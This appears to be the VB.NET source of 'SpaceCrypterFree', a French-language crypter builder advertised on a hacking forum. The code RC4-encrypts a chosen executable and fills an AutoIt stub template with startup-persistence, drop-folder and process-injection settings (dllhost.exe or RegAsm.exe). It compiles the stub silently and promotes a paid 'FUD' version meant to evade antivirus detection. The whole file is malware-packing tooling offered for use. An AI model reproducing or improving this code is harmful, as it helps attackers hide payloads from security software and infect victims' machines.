231 lines
10 KiB
VB.net
231 lines
10 KiB
VB.net
Imports System.IO
|
|
Imports System.Text
|
|
|
|
Public Class Form1
|
|
|
|
#Region "La merde"
|
|
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
Try
|
|
Directory.Delete(TempName(), FileIO.DeleteDirectoryOption.DeleteAllContents)
|
|
If Not Directory.Exists(TempName) Then
|
|
Directory.CreateDirectory(TempName)
|
|
End If
|
|
Catch : End Try
|
|
End Sub
|
|
|
|
Private Sub CheckBoxIcon_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxIcon.CheckedChanged
|
|
If CheckBoxIcon.Checked = True Then
|
|
ButtonChangerIco.Enabled = True
|
|
Else
|
|
ButtonChangerIco.Enabled = False
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ChargerFichier_Click(sender As Object, e As EventArgs) Handles ChargerFichier.Click
|
|
Dim fichier As New OpenFileDialog
|
|
fichier.Filter = "Exécutable | *.exe"
|
|
fichier.Title = "Choissier un fichier a crypter"
|
|
If fichier.ShowDialog = vbOK Then
|
|
TextBoxFichier.Text = fichier.FileName
|
|
End If
|
|
If Not managed(File.ReadAllBytes(TextBoxFichier.Text)) Then
|
|
Label8.Text = "Application native"
|
|
RadioButtonNatif.Checked = True
|
|
RadioButtonDll.Checked = True
|
|
Else
|
|
If managed(File.ReadAllBytes(TextBoxFichier.Text)) Then
|
|
Label8.Text = "Application .NET"
|
|
RadioButtonNet.Checked = True
|
|
RadioButtonReg.Checked = True
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RandomPool1_CharacterSelection(s As Object, c As Char) Handles RandomPool1.CharacterSelection
|
|
If TextBoxEncryption.Text.Length < 50 Then
|
|
Try
|
|
TextBoxEncryption.Text = TextBoxEncryption.Text & c
|
|
Catch : End Try
|
|
End If
|
|
End Sub
|
|
|
|
Public Function managed(executable As Byte()) As Boolean
|
|
Return executable(60) = 128
|
|
End Function
|
|
|
|
Private Sub ButtonChangerIco_Click(sender As Object, e As EventArgs) Handles ButtonChangerIco.Click
|
|
Dim chargericon As New OpenFileDialog
|
|
chargericon.Title = "Charger l'icon que vous souhaiter"
|
|
chargericon.Filter = "Icon | *.ico"
|
|
If chargericon.ShowDialog = vbOK Then
|
|
PictureIcon.ImageLocation = chargericon.FileName
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub RadioButtonNet_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButtonNet.CheckedChanged
|
|
If RadioButtonNet.Checked = True Then
|
|
RadioButtonDll.Enabled = False
|
|
RadioButtonReg.Enabled = True
|
|
RadioButtonReg.Checked = True
|
|
RadioButtonDll.Checked = False
|
|
Else
|
|
RadioButtonReg.Enabled = False
|
|
RadioButtonReg.Checked = False
|
|
RadioButtonDll.Enabled = True
|
|
RadioButtonDll.Checked = True
|
|
End If
|
|
End Sub
|
|
#End Region
|
|
|
|
Public Function TempName()
|
|
Dim DossierTemp As String = Path.GetTempPath & "SpaceCrypterFree\"
|
|
Return DossierTemp
|
|
End Function
|
|
|
|
Private Shared Function rc4(ByVal Input As Byte(), ByVal Key As Byte()) As Byte()
|
|
Dim i, j, swap As UInteger
|
|
Dim s As UInteger() = New UInteger(255) {}
|
|
Dim Output As Byte() = New Byte(Input.Length - 1) {}
|
|
|
|
For i = 0 To 255
|
|
s(i) = i
|
|
Next
|
|
|
|
For i = 0 To 255
|
|
j = (j + Key(i Mod Key.Length) + s(i)) And 255
|
|
swap = s(i)
|
|
s(i) = s(j)
|
|
s(j) = swap
|
|
Next
|
|
i = 0 : j = 0
|
|
For c = 0 To Output.Length - 1
|
|
i = (i + 1) And 255
|
|
j = (j + s(i)) And 255
|
|
swap = s(i)
|
|
s(i) = s(j)
|
|
s(j) = swap
|
|
Output(c) = Input(c) Xor s((s(i) + s(j)) And 255)
|
|
Next
|
|
|
|
Return Output
|
|
End Function
|
|
|
|
Public Function ExtStr(cadena As String, Opt As Long, Optional dirChar As String = "\") As String
|
|
Try
|
|
Dim FullName As String
|
|
FullName = Mid$(cadena, InStrRev(cadena, dirChar) + 1)
|
|
Select Case Opt
|
|
Case 1
|
|
'Nombre
|
|
ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
|
|
Case 2
|
|
'Extension
|
|
ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1)
|
|
Case 3
|
|
'Nombre + Extension
|
|
ExtStr = FullName
|
|
Case Else
|
|
ExtStr = cadena
|
|
End Select
|
|
Catch : End Try
|
|
End Function
|
|
|
|
Function CorrectionDuFichier()
|
|
Dim correct As String
|
|
If TextBoxFichiercop.Text.Contains(".exe") Then
|
|
correct = TextBoxFichiercop.Text
|
|
Else
|
|
correct = TextBoxFichiercop.Text & ".exe"
|
|
End If
|
|
Return correct
|
|
End Function
|
|
|
|
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
|
|
If TextBoxClestartup.TextLength < 1 Then
|
|
ElseIf TextBoxDossier.TextLength < 1 Then
|
|
ElseIf TextBoxEncryption.TextLength < 1 Then
|
|
ElseIf TextBoxFichier.TextLength < 1 Then
|
|
ElseIf TextBoxFichiercop.TextLength < 1 Then
|
|
MsgBox("Vous n'avez pas remplis tout les champs nécéssaire pour le cryptage", MsgBoxStyle.OkOnly, "Erreur lors du cryptage")
|
|
Exit Sub
|
|
Else
|
|
Dim dossierTemp As String = TempName()
|
|
Try
|
|
Directory.CreateDirectory(dossierTemp)
|
|
Catch : End Try
|
|
Dim crypter As New SaveFileDialog
|
|
crypter.Filter = "Executable | .exe"
|
|
crypter.FileName = ExtStr(TextBoxFichier.Text, 1) & ".crypted"
|
|
If crypter.ShowDialog = vbOK Then
|
|
Try
|
|
Dim Encryption As String = Chr(34) & TextBoxEncryption.Text & Chr(34)
|
|
Dim injection As String
|
|
Dim Startup As String = Chr(34) & TextBoxClestartup.Text & Chr(34)
|
|
Dim Fichier As String = Chr(34) & CorrectionDuFichier() & Chr(34)
|
|
Dim Dossier As String = Chr(34) & TextBoxDossier.Text & Chr(34)
|
|
Dim FichieraCrypt() As Byte = rc4(File.ReadAllBytes(TextBoxFichier.Text), Encoding.[Default].GetBytes(TextBoxEncryption.Text))
|
|
ProgressBar1.Value = 30
|
|
If RadioButtonDll.Checked = True Then
|
|
injection = Chr(34) & "C:\Windows\System32\dllhost.exe" & Chr(34)
|
|
Else
|
|
injection = Chr(34) & "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & Chr(34)
|
|
End If
|
|
File.WriteAllBytes(dossierTemp & "Aut2Exe.exe", My.Resources.Aut2Exe)
|
|
|
|
File.WriteAllText(dossierTemp & "stub.au3", My.Resources.Stub.Replace("%DOSSIER%", Dossier).Replace("%NOM%", Fichier).Replace("%STARTUP%", Startup).Replace("%KEY%", Encryption).Replace("%INJECTION%", injection))
|
|
File.WriteAllText(dossierTemp & "rc4.oc", My.Resources.rc4)
|
|
ProgressBar1.Value = 55
|
|
File.WriteAllBytes(dossierTemp & "encrypted.bin", FichieraCrypt)
|
|
ProgressBar1.Value = 60
|
|
Dim BuildDuStub As ProcessStartInfo = New ProcessStartInfo()
|
|
If CheckBoxIcon.Checked = True Then
|
|
BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /icon " & PictureIcon.ImageLocation & " /comp 4 /nopack"
|
|
Else
|
|
BuildDuStub.Arguments = "/in " & dossierTemp & "stub.au3 /out " & dossierTemp & "Compiled.exe /comp 4 /nopack"
|
|
End If
|
|
BuildDuStub.WindowStyle = ProcessWindowStyle.Hidden
|
|
BuildDuStub.CreateNoWindow = True
|
|
BuildDuStub.FileName = dossierTemp & "Aut2Exe.exe"
|
|
ProgressBar1.Value = 80
|
|
Process.Start(BuildDuStub)
|
|
ProgressBar1.Value = 90
|
|
Threading.Thread.Sleep(1000)
|
|
If File.Exists(crypter.FileName) Then
|
|
File.Delete(crypter.FileName)
|
|
File.Copy(dossierTemp & "Compiled.exe", crypter.FileName)
|
|
Else
|
|
File.Copy(dossierTemp & "Compiled.exe", crypter.FileName)
|
|
End If
|
|
ProgressBar1.Value = 100
|
|
Directory.Delete(dossierTemp, FileIO.DeleteDirectoryOption.DeleteAllContents)
|
|
Media.SystemSounds.Asterisk.Play()
|
|
Dim reponse = MsgBox("Votre fichier a correctement etait crypter" + vbNewLine + "Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Fichier crypter correctement")
|
|
If reponse = MsgBoxResult.Yes Then
|
|
Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter")
|
|
End If
|
|
ProgressBar1.Value = 0
|
|
Catch ex As Exception
|
|
Dim Erreur As String = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) & "\Erreur detaillé.txt"
|
|
File.Create(Erreur).Close()
|
|
Dim EcrireErreur As New StreamWriter(Erreur)
|
|
EcrireErreur.Write(ex.ToString)
|
|
EcrireErreur.Close()
|
|
MsgBox("Un Fichier a etait crée sur votre Bureau comprenant l'erreur qui a eu lieux")
|
|
MsgBox("Une erreur est suvenur au moment du cryptage." + vbNewLine + "Si ce problème persiste contacter FyR0z avec le Fichier sur Hack-Free", MsgBoxStyle.OkOnly, "Erreur lors du cryptage")
|
|
End Try
|
|
End If
|
|
End If
|
|
|
|
End Sub
|
|
|
|
Private Sub Acheter_Click(sender As Object, e As EventArgs) Handles Acheter.Click
|
|
Dim response2 = MsgBox("Si vous souhaiter avoir plus d'option ou être FUD" + vbNewLine + "Passer à la version payante", MsgBoxStyle.YesNo, "Interesser par la version payante ?")
|
|
Media.SystemSounds.Asterisk.Play()
|
|
If response2 = MsgBoxResult.Yes Then
|
|
Process.Start("http://hack-free.net/private.php?action=send&uid=910&subject=Space-Crypter")
|
|
End If
|
|
End Sub
|
|
|
|
|
|
End Class
|